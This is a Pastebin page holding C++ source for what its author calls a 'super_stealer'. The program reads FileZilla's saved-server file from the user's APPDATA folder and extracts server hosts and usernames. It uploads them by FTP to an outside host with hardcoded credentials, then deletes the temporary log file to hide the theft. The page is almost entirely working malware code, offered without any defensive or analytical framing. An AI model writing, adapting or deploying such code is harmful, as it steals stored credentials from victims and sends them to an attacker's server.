Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #include <iostream>
- #include <string>
- #include <fstream >
- #include <windows.h>
- #include <wininet.h>
- #pragma comment (lib, "wininet")
- using namespace std;
- void upload(LPCSTR server, LPCSTR login, LPCSTR pass, LPCSTR local_file, LPCSTR remote_file)
- {
- HINTERNET hOpen, hConnection;
- hOpen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
- hConnection = InternetConnectA(hOpen, server, INTERNET_DEFAULT_FTP_PORT,login, pass, INTERNET_SERVICE_FTP, 0, 0);
- if(FtpPutFileA(hConnection, local_file, remote_file, FTP_TRANSFER_TYPE_ASCII, 0))
- cout << "Success Story" << endl;
- else
- cout << "Epic Fail!" << endl;
- InternetCloseHandle(hConnection);
- InternetCloseHandle(hOpen);
- }
- int main()
- {
- string appdata = getenv ( "APPDATA" );
- appdata+="\\FileZilla\\recentservers.xml";
- ifstream f(appdata);
- string s;
- string tmp = getenv ( "TMP" );
- tmp+="\\super_stealer.txt";
- ofstream f2(tmp);
- while(!f.eof())
- {
- f >> s;
- //cout << s << endl;
- if(s.find("<Server>")<s.size())
- {
- f >> s;
- //cout << s << endl; // I am a Hindu
- f2 << s << endl;
- f >> s;
- //cout << s << endl;
- f2 << s << endl;
- while(!(s.find("</Server>")<s.size()))
- {
- f >> s;
- if(s.find("<User>")<s.size())
- {
- //cout << s << endl; // I am a Hindu
- f2 << s << endl;
- f >> s;
- //cout << s << endl;
- f2 << s << endl;
- //cout << "---------------" << endl;
- f2 << "---------------" << endl;
- break;
- }
- }
- }
- }
- f.close();
- f2.close();
- upload("appo.pro","user","name", tmp.c_str(), "//_smth_log_name.txt");
- DeleteFileA(tmp.c_str());
- system("pause");
- return 0;
- }
- // Coded by Appo //
Add Comment
Please, Sign In to add comment